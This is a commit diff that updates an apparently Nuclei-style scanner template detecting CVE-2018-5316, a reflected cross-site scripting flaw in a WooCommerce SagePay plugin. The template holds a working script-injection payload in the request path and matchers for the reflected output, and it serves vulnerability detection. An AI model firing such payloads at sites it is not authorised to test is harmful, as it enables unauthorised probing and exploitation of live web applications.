Update CVE-2018-5316.yaml
parent
1e7670e69d
commit
76a0b17d32
|
@ -19,22 +19,25 @@ info:
|
|||
cpe: cpe:2.3:a:patsatech:sagepay_server_gateway_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
verified: true
|
||||
framework: wordpress
|
||||
vendor: patsatech
|
||||
product: sagepay_server_gateway_for_woocommerce
|
||||
tags: cve2018,wordpress,xss,wp-plugin,woocommerce,packetstorm,cve
|
||||
tags: cve2018,wordpress,xss,wp-plugin,wp,woocommerce,packetstorm,cve
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||||
- '{{BaseURL}}/wp-content/plugins/sagepay-server-gateway-for-woocommerce/includes/pages/redirect.php?page=</script>"><script>alert(document.domain)</script>'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "</script><script>alert(document.domain)</script>"
|
||||
- '</script>"><script>alert(document.domain)</script>'
|
||||
- 'Authenticate your card'
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
|
@ -43,4 +46,4 @@ http:
|
|||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 200
|
Loading…
Reference in New Issue